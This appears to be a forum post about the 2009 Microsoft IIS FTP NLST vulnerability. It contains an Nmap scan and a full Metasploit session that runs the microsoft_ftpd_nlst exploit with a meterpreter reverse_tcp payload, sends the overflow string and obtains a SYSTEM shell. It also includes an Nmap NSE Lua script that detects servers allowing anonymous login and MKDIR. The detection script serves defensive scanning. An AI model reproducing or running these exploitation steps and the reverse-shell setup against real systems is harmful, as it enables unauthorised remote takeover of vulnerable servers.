Microsoft Internet Information Server ftpd zeroday

# Nmap-p 21-sV - script = IIS-FTP 10.0.0.7 Starting Nmap 4.76 ( http://nmap.org ) at 2009-09-01 01:15 CEST Interesting ports on test-win (10.0.0.7): PORT STATE SERVICE VERSION 21/tcp open ftp Microsoft ftpd |_ IIS FTP: IIS Server allow anonymous and mkdir (potentially vulnerable) Service Info: OS: Windows

=[ msf v3.3-dev + -- --=[ 403 exploits - 273 payloads + -- --=[ 21 encoders - 8 nops =[ 193 aux msf > use exploit/windows/ftp/microsoft_ftpd_nlst msf exploit(microsoft_ftpd_nlst) > set PAYLOAD windows/meterpreter/reverse_tcp PAYLOAD => windows/meterpreter/reverse_tcp msf exploit(microsoft_ftpd_nlst) > set LHOST 192.168.0.136 LHOST => 192.168.0.136 msf exploit(microsoft_ftpd_nlst) > set RHOST 192.168.0.128 RHOST => 192.168.0.128 msf exploit(microsoft_ftpd_nlst) > exploit [*] Handler binding to LHOST 0.0.0.0 [*] Started reverse handler [*] Connecting to FTP server 192.168.0.128:21... [*] Connected to target FTP server. [*] Authenticating as anonymous with password <a href="mailto:mozilla@example.com">mozilla@example.com</a>... [*] Sending password... [*] 257 "RTIXDYMRJB" directory created. [*] 250 CWD command successful. [*] Creating long directory... [*] 257 "SQL�UURU5UUUU@�8QKORu�@@@@��GVSVIHLODRPRVJDPILGXHZNKLNIYQZKGXCWEAGFGHTXSXDBYDLLXKGKYWUJNJGTZX��ASNOHNZRTDAAMVPKVEQRAVWPUJNGYKWSAIUMUPWLBU��w��YYTPSDOYTB�f��ICVFVCFUIZKQTRMIEWETKWE" directory created. [*] 200 PORT command successful. [*] Trying target Windows 2000 SP4 Universal (IIS 5.0)... [*] 150 Opening ASCII mode data connection for file list. [*] Sending stage (718336 bytes) [*] Meterpreter session 1 opened (192.168.0.136:4444 -> 192.168.0.128:1076) meterpreter > getuid Server username: NT AUTHORITY\SYSTEM meterpreter >

--- Checks if a Microsoft FTP server allows anonymous logins + MKDIR
--- If yes, could be vulnerable to the following exploit:
--- http://seclists.org/fulldisclosure/2009/Aug/0443.html
-- @output
-- |_ FTP: IIS Server allow anonymous and mkdir (potentially vulnerable)
--
-- @args ftpuser Alternate user to initiate the FTP session
--       ftppass Alternate password to initiate the FTP session
--       If no arguments are passed, anonymous FTP session is probed

id="IIS FTP"
description="Checks to see if a Microsoft ISS FTP server allows anonymous logins and MKDIR (based on anonftp.nse by Eddie Bell <ejlbell@gmail.com>)"
author = "Xavier Mertens <xavier@rooshell.be>"
license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
categories = {"default", "auth", "intrusive"}

require "shortport"
local stdnse = require "stdnse"
---
-- portrule = shortport.port_or_service(21, "ftp")
portrule = function(host,port)
	if (port.number == 21 and
	    (port.state == "open" or port.state == "open|filtered"))
	then
		return true
	else
		return false
	end
end

---
-- Connects to the ftp server and checks if the server allows
-- anonymous logins or any credentials passed as arguments
action = function(host, port)
	local socket = nmap.new_socket()
	local result
	local status = true
	local isAnon = false

	local err_catch = function()
		socket:close()
	end

	local try = nmap.new_try(err_catch())

	socket:set_timeout(5000)
	try(socket:connect(host.ip, port.number, port.protocol))

	if (type(nmap.registry.args.ftpuser) == "string" and nmap.registry.args.ftpuser ~= "" and
	    type(nmap.registry.args.ftppass) == "string" and nmap.registry.args.ftppass ~= "")
	then
		local struser = "USER " .. nmap.registry.args.ftpuser .. "\r\n"
		local strpass = "PASS " .. nmap.registry.args.ftppass .. "\r\n"
		try(socket:send(struser))
		try(socket:send(strpass))
	else
		try(socket:send("USER anonymous\r\n"))
		try(socket:send("PASS IEUser@\r\n"))
	end

        while status do
		status, result = socket:receive_lines(1);
		if string.match(result, "^230") then
			try(socket:send("RSTATUS\r\n"))
			while status do
				status, result = socket:receive_lines(1);
				if string.match(result, "^211-Microsoft FTP Service") then
					try(socket:send("MKD w00t\r\n"))
					while status do
						status, result = socket:receive_lines(1);
						if string.match(result, "^257") then
							isVuln=true
							try(socket:send("RMDIR w00t\r\n"))
							break;
						end
					end
				end
			end
		end
	end

	socket:close()

	if(isVuln) then
		return "IIS Server allow anonymous and mkdir (potentially vulnerable)"
	end
end

r00t@holiganvn tarting Nmap 5.00 ( http://nmap.org ) at 2009-09-06 14:14 CST mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using –system-dns or specify valid servers with –dns-servers Interesting ports on 192.168.41.4: PORT STATE SERVICE VERSION 21/tcp open ftp Microsoft ftpd MAC Address: 08:00:27:B5:C1:E9 (Cadmus Computer Systems) Service Info: OS: Windows Service detection performed. Please report any incorrect results at http://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 5.53 seconds

Users currently in here

1 Anonymous